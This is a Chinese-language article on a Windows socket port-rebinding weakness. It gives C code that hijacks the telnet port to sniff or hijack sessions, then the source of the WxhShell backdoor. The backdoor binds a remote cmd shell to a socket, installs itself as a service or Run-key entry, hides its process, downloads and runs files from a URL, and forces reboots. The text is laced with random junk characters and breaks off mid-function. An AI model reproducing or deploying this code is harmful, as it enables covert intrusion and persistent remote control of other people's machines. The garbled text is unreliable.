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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B-Bgk s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e8T#ZWr* 69#mj*p@+ saddr.sin_family = AF_INET; mS?.xu I(LBc saddr.sin_addr.s_addr = htonl(INADDR_ANY); h|
q!Qsnj' lAjP'( bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ffMh2 _}MO.&Y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =eG?O7z& ?,GCR1|4 这意味着什么?意味着可以进行如下的攻击: HJ4T! `'d ^s*j<fH 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 anDwv
} i-1lpp I 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1Rrp#E} P<<?7_ ?? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qKoD*cl)Za &!/E&e$_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 "rhU2jT=c A4;EtW+F 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Axb,{X[6g R9=K/ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0\fV'JDOR k?(x}IZdG 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yCznRd}J 5=<
y%VF #include ) 0p9I0= #include h SGI #include ]O%wZIp\P #include PL+r*M%ll DWORD WINAPI ClientThread(LPVOID lpParam); 9A|deETa- int main() Rb!|2h) { 5]C}044 WORD wVersionRequested; T NwBnMe DWORD ret; _H[LUl9 WSADATA wsaData; ,3 !D(& BOOL val; Hn~=O8/2 SOCKADDR_IN saddr; o1jDQ+ SOCKADDR_IN scaddr; J\7ukm"9 int err; nR%ASUx:Y SOCKET s; 06hzCWm# SOCKET sc; S
b0p? int caddsize; ,'=Tf=wq HANDLE mt; #<_gY DWORD tid; sK1YmB :~a wVersionRequested = MAKEWORD( 2, 2 ); 5Q_T=TL err = WSAStartup( wVersionRequested, &wsaData ); QGv$ ~A[h if ( err != 0 ) {
D,cGW,2Nv printf("error!WSAStartup failed!\n"); .KzGb4U return -1; Af*e:}} } =E{e|(1+u saddr.sin_family = AF_INET; 6yDc4AX 05$;7xnf( //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^ ]nnvvp 8GRp1'\Hi saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jC<1bf$K saddr.sin_port = htons(23); syuW>Z8s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z0o+&3a6 { 7Jm&z/ printf("error!socket failed!\n"); <i~O0f] return -1; =m<; Jx5 }
=+I~K'2 val = TRUE; QU`M5{# //SO_REUSEADDR选项就是可以实现端口重绑定的 ~3]ZN'b\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 93Z/|7 { f?KHp| printf("error!setsockopt failed!\n"); DV={bcQ return -1; U`{'-L. } *,C[yg1P //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; rL{3O4O //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 >Yr-aDV
//其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @UbH;m z ^e99dz if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +ZuT\P&kR5 { I+qg'mo ret=GetLastError(); qG=?+em printf("error!bind failed!\n"); 977%9z<h return -1; c~_nOd } 96L-bBtyY listen(s,2); +>zjTP7\e" while(1) *$U+ { 87QK&S\ caddsize = sizeof(scaddr); N^G
$:GC //接受连接请求 _(#HQd,i sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); hLs<g!*O if(sc!=INVALID_SOCKET) x2q6y { $0uh8RB mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "c0I2wq if(mt==NULL) Uavr>- { yH\3*#+ printf("Thread Creat Failed!\n"); 'VgdQp$L$ break; |rjHH< } rV
yw1D } _J|TCm CloseHandle(mt); [#+yL } QNH-b9u>8 closesocket(s); nRP|Qt7> WSACleanup(); l|,
Hj return 0; NNKI+!vg } Z&f@)j DWORD WINAPI ClientThread(LPVOID lpParam) )K=%s%3h< { {P'_s]B) SOCKET ss = (SOCKET)lpParam; 5y
9(<}z SOCKET sc; @W4tnM,# unsigned char buf[4096]; VR8 kY& SOCKADDR_IN saddr; HDmjt+3&n long num; SJseP_- DWORD val; GJu[af DWORD ret; x.5!F2$ //如果是隐藏端口应用的话,可以在此处加一些判断 7P+qPcRaP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 JEw+5MO@ saddr.sin_family = AF_INET; 4tQ~Z6Jn; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *3uBS2Ld saddr.sin_port = htons(23); >
whcZ.8 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %anY'GK { fU6O: - printf("error!socket failed!\n"); jTR>H bh return -1; 3MmpB9l#H } (D.B'V#> val = 100; :,@"I$>*/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q=EHB5!q { =:w]EpH" ret = GetLastError(); `u<\
4&W return -1; G_vcuCHm } @3^D[ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?%|w?Fdx- { 2HNAB4E ret = GetLastError(); ~wtK(U return -1; cEdf&*_-'I } Fjs:rZ#{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) KF4D)NM| { Z<yLu'48)A printf("error!socket connect failed!\n"); vz$_Fgsc. closesocket(sc); xj ?#]GR closesocket(ss); p#\JKx return -1; 0[# zn } _#dBcEH[ while(1) s%&/Zt { VW$a(G_h //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?Iin/ <y //如果是嗅探内容的话,可以再此处进行内容分析和记录 9wTN*y //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jkQ%b.a num = recv(ss,buf,4096,0); {h}0"5 if(num>0) z[cs/x send(sc,buf,num,0); Jw4#u5$$Z else if(num==0) ^vj} break; 1*aO2dOq num = recv(sc,buf,4096,0); B~CdY}UTsj if(num>0) ?Z0NHy;5 send(ss,buf,num,0); \80W?9qj else if(num==0) vcmB)P-T`O break; /wR,P } 3)6TnY/u6{ closesocket(ss); u~C,x3yr closesocket(sc); &'V1p4' return 0 ; j`D%Wx_ } F3?PlH:Y kS7`g A f-!P[6bY ========================================================== wv7XhY} +55+%oGl 下边附上一个代码,,WXhSHELL M+L8~BD@ _.{I1*6Y2 ========================================================== >1$vG @W1F4HYds #include "stdafx.h" m8T< x> n9 %&HDl4 #include <stdio.h> 9n#lDL O #include <string.h> *QGyF`Go{ #include <windows.h> 5r)]o'?s #include <winsock2.h> V JJ6q #include <winsvc.h> 6CV9ewr #include <urlmon.h> m]?C @ina W"v"mjYud #pragma comment (lib, "Ws2_32.lib") z@8W #pragma comment (lib, "urlmon.lib") /$U<S" lz [s #define MAX_USER 100 // 最大客户端连接数 @2`$ XWD #define BUF_SOCK 200 // sock buffer !U"?vS l #define KEY_BUFF 255 // 输入 buffer +T/T \[ 1iJa j #define REBOOT 0 // 重启 0! W$Cz[ #define SHUTDOWN 1 // 关机 /Xm4%~b_gj MS~+P' #define DEF_PORT 5000 // 监听端口 (M-Wea!q ln2lFfz #define REG_LEN 16 // 注册表键长度 M%z$yU`ac #define SVC_LEN 80 // NT服务名长度 qRcY(mb $<s;YhM:u) // 从dll定义API JQ%D6b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %B~@wcI)W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~-tKMc).X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YAsE,M+ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =j~vL`d2] a/{M2 // wxhshell配置信息 ;{Nc9d struct WSCFG { V#,jUH| int ws_port; // 监听端口 5hvg]w95; char ws_passstr[REG_LEN]; // 口令
UOa
n int ws_autoins; // 安装标记, 1=yes 0=no sqEOXO char ws_regname[REG_LEN]; // 注册表键名 =L]GQ=d char ws_svcname[REG_LEN]; // 服务名 61~7 L^882 char ws_svcdisp[SVC_LEN]; // 服务显示名 Fd;%wWY.zm char ws_svcdesc[SVC_LEN]; // 服务描述信息 =#>F' A char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }{S+C[:_ int ws_downexe; // 下载执行标记, 1=yes 0=no :V!F~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" p9-s' F|@i char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,<t)aZL,A; Tl!}Rw~Pg }; ["1Iz{ };;k5z I% // default Wxhshell configuration ms{iQ:'9 struct WSCFG wscfg={DEF_PORT, fc<~R "xuhuanlingzhe", >]<4t06D 1, UJiy]y "Wxhshell", !dV2:`|+ "Wxhshell", @#2KmM~I "WxhShell Service", 60#eTo?}o "Wrsky Windows CmdShell Service", U}R( "Please Input Your Password: ", V0G"Z6 1, +GvPJI " http://www.wrsky.com/wxhshell.exe", x(+H1D\W "Wxhshell.exe" #GuN.`__n, }; LEC=@) B I&9Itn p$ // 消息定义模块 '\% Kd+k char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `{1~]?-& char *msg_ws_prompt="\n\r? for help\n\r#>"; @q"HZO[ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; y#{v\h
Cz char *msg_ws_ext="\n\rExit."; 8P*d char *msg_ws_end="\n\rQuit."; 0^83:C
^{ char *msg_ws_boot="\n\rReboot..."; \h@3dJ4 char *msg_ws_poff="\n\rShutdown..."; awl3|k/ char *msg_ws_down="\n\rSave to "; }0}=-g& b!JrdJO,DP char *msg_ws_err="\n\rErr!"; 'Bwv-J char *msg_ws_ok="\n\rOK!"; ;R([w4[~ 3_ ZlZ_Tq char ExeFile[MAX_PATH]; 2C AR2V| int nUser = 0; .$ X|96~$ HANDLE handles[MAX_USER]; FEA t6 int OsIsNt; }u]7 x:lh lSG]{ SERVICE_STATUS serviceStatus; a];1)zVA6 SERVICE_STATUS_HANDLE hServiceStatusHandle; PY
MofQaZ ;~GBD] // 函数声明 +-:o+S`q~ int Install(void); QTospHf` int Uninstall(void); b8LA|#]i int DownloadFile(char *sURL, SOCKET wsh); 4x-K0 int Boot(int flag); Kz"&:&R" void HideProc(void); r1BL?&X- int GetOsVer(void); 9~{,Hj1xE int Wxhshell(SOCKET wsl); zG)vmysJf void TalkWithClient(void *cs); aen0XiB6~^ int CmdShell(SOCKET sock); l kW5<s_ int StartFromService(void); l?B=5*0 int StartWxhshell(LPSTR lpCmdLine); joBS{] 8osP$"/o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )%09j0y>l" VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'Pe;Tp>` #A&49a3^1 // 数据结构和表定义 ldnKV&N SERVICE_TABLE_ENTRY DispatchTable[] = f0{j/+F_o { _9y!,ST {wscfg.ws_svcname, NTServiceMain}, DMA`Jx {NULL, NULL} 9v/=o`J#
}; U%n>(!d >U)>~SQf // 自我安装 jJD*s/o int Install(void) E:y^= Y { n.XgGT=L char svExeFile[MAX_PATH]; -TS5g1 HKEY key; /vI"v4 strcpy(svExeFile,ExeFile); k8b5~A, 0ev='v8? // 如果是win9x系统,修改注册表设为自启动 <;*w97n if(!OsIsNt) { u6 Yp,!+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ft1V1 c RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aVZ/e^kk- RegCloseKey(key); S3s6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X>%li$9J. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); TZhYgV RegCloseKey(key); *i {e$Zv' return 0; e>x+Xj1 } 3oV2Ek<d } 3+&k{UZjt } yO`
|X else { f!F5d1N 1\J9QZX0 // 如果是NT以上系统,安装为系统服务 i>KgkRZL# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P#}vi$dZ if (schSCManager!=0) <}G/x*N { rv c%[HfW; SC_HANDLE schService = CreateService 1DlXsup&?# ( Wm4C(y@ schSCManager, &Im-@rV! wscfg.ws_svcname, )J?8"+_Y wscfg.ws_svcdisp, }tL]EW^ SERVICE_ALL_ACCESS, kN6jX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $o/i /
wcj SERVICE_AUTO_START, ~])Q[/=p SERVICE_ERROR_NORMAL, U6.hH%\}@ svExeFile, v'm-A d+4t NULL, @1D3E = NULL, @Z5,j) NULL, {Wndp% NULL, ?6UjD5NkX NULL 4";NT;_q5 ); Vha,rIi if (schService!=0) )q`.tsR> { -EP(/CS! CloseServiceHandle(schService); 0\Tp/Ph CloseServiceHandle(schSCManager); xo4lM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v\E6N2.S strcat(svExeFile,wscfg.ws_svcname); RKZBI?@4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i-9W8A RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fmD~f RegCloseKey(key); V.ET uS; return 0; Et
y?/ } eVd:C8q } G#ELQ/Q CloseServiceHandle(schSCManager); _St":9'uU } HL-'\wtl } NLu[<u U* G'`^U}9V\ return 1; "gFw:t"VV } wYLodMaYH l[u17,]S // 自我卸载 {yB0JL}n int Uninstall(void) ]L2b|a3 { !MVf(y$ HKEY key; <{h\Msx% eJ6 #x$I, if(!OsIsNt) { hl0\$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hAsReZ? RegDeleteValue(key,wscfg.ws_regname); '<QFf RegCloseKey(key); N 'n0I^Y1A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cm]\5}Py RegDeleteValue(key,wscfg.ws_regname); BLAF{vVaf RegCloseKey(key); my/KsB return 0; GQjwr( } RI+Y+z } Z>l|R C } @6Lp$w else { ~dzD7lG6 ]~~G<Yh:= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g W_E if (schSCManager!=0) )!U@:x\K { =[zP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); = l:k($%% if (schService!=0) maa$kg8U*! { olr-oi`4C if(DeleteService(schService)!=0) { Mp=T;Nz CloseServiceHandle(schService); |!/+T^u CloseServiceHandle(schSCManager); S}cR+d1}h return 0; ~2nt33" } YQyI{ CloseServiceHandle(schService); `,]_r4~ ~ } K#'$_0. CloseServiceHandle(schSCManager); \ueCbfV!Z4 } Jd?qvE>Pp } 59p'U /| IG7,-3 return 1; +SE \c } @.c[z D ? JTTl; // 从指定url下载文件 mkfDDl2 GP int DownloadFile(char *sURL, SOCKET wsh) FS=LpvOG) { 1k^$:' HRESULT hr; \B:k|Pw6~ char seps[]= "/"; We\i0zUU char *token; s: iBl/N} char *file; eo@8?>}{X char myURL[MAX_PATH]; >ts}\.(] char myFILE[MAX_PATH]; R]o0V*n Z9MR"!0 strcpy(myURL,sURL); O} (sn token=strtok(myURL,seps); R*D5n>~ while(token!=NULL) gK( G1 { U|{ 4=[ file=token; 1B:5O*I!J token=strtok(NULL,seps); MppT"t } z}B8&*> {'[VL;k GetCurrentDirectory(MAX_PATH,myFILE); G9V2(P strcat(myFILE, "\\"); ?3qp?ea strcat(myFILE, file); >56fa6=3@ send(wsh,myFILE,strlen(myFILE),0); WW+F9~S send(wsh,"...",3,0); "5z@A/Z/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )v*k\:Hw if(hr==S_OK) KeB??1S return 0; / 9,'. else D?8(n=#[ return 1; _ker,;{9C 7&/1K%x9; } Q`NdsS2 :WsHP\r // 系统电源模块 /Oi(5?Jn int Boot(int flag) [8q`~S%-] { XT*/aa-1' HANDLE hToken; Z_edNf}| TOKEN_PRIVILEGES tkp; D(TG)X? 9+$IulOvk if(OsIsNt) { 2+?W{yAEi OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *DXX*9 0 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?B$L'i[l tkp.PrivilegeCount = 1; F6{/iF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I{ki))F AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =
Ezg3$%- if(flag==REBOOT) { xK)<763q> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M2R krW# return 0; )siWc_Z4 } Xit@.:a; else { Nd_A8H,&B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eM5-v- return 0; r[T(R9k } _Pa@%/ } \jV2":[%c else { 9<i M2(IW{ if(flag==REBOOT) { 9;uH}j8sE if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ),y`Iw return 0; m#G,m } ssS"X@VZ
\ else { BOR$R}q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g kV`ZT9 return 0; [s\8@5?E
} #_`p
0wY } ^$C&{% :VWN/m return 1; |(TEG.<g } Y2'HP)tfIw 3TLym& // win9x进程隐藏模块 J]zhwM void HideProc(void) @o*~\E<T { Wd+G)Mu_= :SW
vH- ] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); CB,2BTtRE if ( hKernel != NULL ) .Y^3G7On { KaS*LDzw pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PC+Soh* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =S6bP<q FreeLibrary(hKernel); 0UW_ Pbh6 } .w _BA) NS""][# return; GVu[X?q@| } auX(d -m bA2[=6 // 获取操作系统版本 X8}\m%gCU int GetOsVer(void) *GY8#Az { =Ti@Y OSVERSIONINFO winfo; %X^qWKix}m winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oR!h
eCnu GetVersionEx(&winfo); lq]8zm<\)] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1zG6^U return 1; ?(Tin80=r else W1Fhx` return 0; y`5
? } JUj.:n2e YU`k^a7%
// 客户端句柄模块 K>LS8,8V int Wxhshell(SOCKET wsl) ~`^kP.() { BFP@Yn~k SOCKET wsh; {oF;ZM'r struct sockaddr_in client; ?azLaAG DWORD myID; RJd*(!y y1~
QKz while(nUser<MAX_USER) vXwMo4F* { VAjl?\}6 int nSize=sizeof(client); qmGHuQVe wsh=accept(wsl,(struct sockaddr *)&client,&nSize); AS:k&t if(wsh==INVALID_SOCKET) return 1; . XbDb 8.^`~ta handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i92Z`jiR if(handles[nUser]==0) ]B8iQr-! closesocket(wsh); )?B-en\ else $I/ !vV nUser++; QmGK!
H>3 } "'+C% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bivo7_ y!:vX6l return 0; sa/9r9hc+ } $!!y v'K Pg`+Q^^6S // 关闭 socket UM`$aPz void CloseIt(SOCKET wsh) s?; V!t { '/Vm[L$d closesocket(wsh); ;"e55|d9I nUser--; ]5:[6;wS ExitThread(0); IG;=
| } Oml3=TV [T)>RF // 客户端请求句柄 B-L@ 0gH void TalkWithClient(void *cs) Q>;Aq!mr= { W> Pcj EI 4T"L#o1 SOCKET wsh=(SOCKET)cs; r8N)]HsZH char pwd[SVC_LEN]; )ezkp%I5D char cmd[KEY_BUFF]; 5 ';[|f char chr[1]; vl}}h%BC int i,j; 53pfo:1' Xs"d+dc while (nUser < MAX_USER) { nehk8+eV_ 2$b1q!g< if(wscfg.ws_passstr) { vO"E4s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J|o<;9dg1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KyDd( 'i //ZeroMemory(pwd,KEY_BUFF); q3-cWfU i=0; }TuMMO4+ while(i<SVC_LEN) { 1rue+GL LV0gw" // 设置超时 ?}W#j fd_set FdRead; -;HZ!Lf struct timeval TimeOut; C R't FD_ZERO(&FdRead); +]yVSns
3 FD_SET(wsh,&FdRead); 'Cz]p~oF TimeOut.tv_sec=8; ,,IK} TimeOut.tv_usec=0; 'cIFbjJ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _U*1D*kLI[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6 !fq658 $Op:-aW& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f4dHOH pwd =chr[0]; prIJjy-F if(chr[0]==0xd || chr[0]==0xa) { Oq3t-omXS pwd=0; !^1oH** break; @^-f+o } (U.VCSn i++; nHfAx/9! } h]|2b0 K&dc< 4DC // 如果是非法用户,关闭 socket ,y/m5-D! if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uV'C_H } **6X9ZIX[ kZ:~m1dd send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |qf9-36 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *l0i}"T^_ *>o@EUArN while(1) { u+jx3aP: ;t@^Z_z,CR ZeroMemory(cmd,KEY_BUFF); d)$seZB ashVV~\8A // 自动支持客户端 telnet标准 91T[@p j=0; \tS|
N40 while(j<KEY_BUFF) { F:0 E-
z' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '$ G%HUn cmd[j]=chr[0]; 9N) Ea:N if(chr[0]==0xa || chr[0]==0xd) { V|nJ%G\ cmd[j]=0; xFp9H'j{ break; {w99~? } Pb@$RAU63 j++; ;D[I/U } vDc&m ry* 9 // 下载文件 q'biTn]2 if(strstr(cmd,"http://")) { =_2(S 6~ send(wsh,msg_ws_down,strlen(msg_ws_down),0); N$Tzxs if(DownloadFile(cmd,wsh)) (Fk&~/SP send(wsh,msg_ws_err,strlen(msg_ws_err),0); V0F1X s` else x_4{MD^% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n!NA}Oa } g%4=T~ else { n0^3F1Z .
vea[ switch(cmd[0]) { -#AO4xpI eN<?rVZl // 帮助 Mt121Q&" case '?': { $')Uie<!8 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q }9n. break; #q?:Act } K*j1Fy: // 安装 *NIhYg6 case 'i': { xT+@0?|F if(Install()) [{+ZQd send(wsh,msg_ws_err,strlen(msg_ws_err),0); lJ4/bL2I/ else lstnxi%x send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jSvo- break; "fd'~e$S# } h&bs` // 卸载 ^"$~&\+x5 case 'r': { ;,u7) if(Uninstall()) x&FBh!5H send(wsh,msg_ws_err,strlen(msg_ws_err),0); SR9M:%dga else #)KQ-x, send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pj*"2
LBW# break; -9"[/ } piPV&ytI // 显示 wxhshell 所在路径 (G{2ec:? case 'p': { ~$4!C'0 char svExeFile[MAX_PATH]; v%Su#xq/ strcpy(svExeFile,"\n\r"); T@N)BfkB
strcat(svExeFile,ExeFile); qNbgN{4 send(wsh,svExeFile,strlen(svExeFile),0); :HN\A4=kc( break; @'?7au '' } ery{>|k // 重启 28xLaob case 'b': { xEe3,tb'e send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3:!5 ] if(Boot(REBOOT)) 0av2w5>af send(wsh,msg_ws_err,strlen(msg_ws_err),0); z8w@pT else { Y2y =
P closesocket(wsh); BUEV+SZ4 ExitThread(0); I%ZSh]On } "eKM<S break; BH?fFe&J:` } K%>3ev=y.s // 关机 p{rzP,Pb& case 'd': { _,|N`BBqd send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a[V4EX1E if(Boot(SHUTDOWN)) 6
Zv~c(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LGC3"z\= else { M4}zRr([.5 closesocket(wsh); dv\aP ExitThread(0); +}!FP3KgT } |f"1I4Kg break; lO^YAOY } K>`*JJ, // 获取shell 0]t7(P"F6 case 's': { dIvvJk8 CmdShell(wsh); 3=kw{r[2lM closesocket(wsh); vtf`+q ExitThread(0); &0@AM_b break; ?rububDT{ } nA XWbavY // 退出 \EeK<)4: case 'x': { 17;qJ_T) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UL\gcZ
Zkl CloseIt(wsh); IgtTYxI break; Y\7/`ty } aboA9pwH // 离开 l#%G~c8x case 'q': { *Y9' tHI send(wsh,msg_ws_end,strlen(msg_ws_end),0); )u_[cEJHO closesocket(wsh); ]A dL WSACleanup(); L@LT *M exit(1); 83YQ c break; V]A*' ke/ } 1ba* U~OEg } &<S]=\ } hvU\l`m {}v<2bS // 提示信息 }VXZM7@u if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /7XVr"R } D,;6$Pvg^ } FPXB>D' yM*<BV return; Sc3 B*. } W2j@Q=YDS GF awmNZ // shell模块句柄 a'A'%+2 int CmdShell(SOCKET sock) 7e`h,e= { ;CdxKr-d STARTUPINFO si; 0@PI=JZ% ZeroMemory(&si,sizeof(si)); fIg~[VN" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BpZ17"\z si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @k,}>Tk PROCESS_INFORMATION ProcessInfo; LDv>hzo char cmdline[]="cmd"; )1S"D~j- CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `?xE-S
;Pn return 0; 5Gsjt+
o } 8n)3'ok Nc[V kJ] // 自身启动模式 ,O]AB int StartFromService(void) 2 *@.hBi { 5!^DKyw: typedef struct RI64QD { }=JuC+#~n DWORD ExitStatus; -axV;+"b DWORD PebBaseAddress; Y]Y]"y$1 DWORD AffinityMask; 9$:+5f,%a DWORD BasePriority; F
{T\UX ULONG UniqueProcessId; WL/9r
*jW ULONG InheritedFromUniqueProcessId; "f<+~ } PROCESS_BASIC_INFORMATION; j*}2AI )MJy PROCNTQSIP NtQueryInformationProcess; GjvTYg~ (dVrGa54 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :#zv,U&OC static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /N82h`\n 0I@Cx{$ HANDLE hProcess; meNz0ve
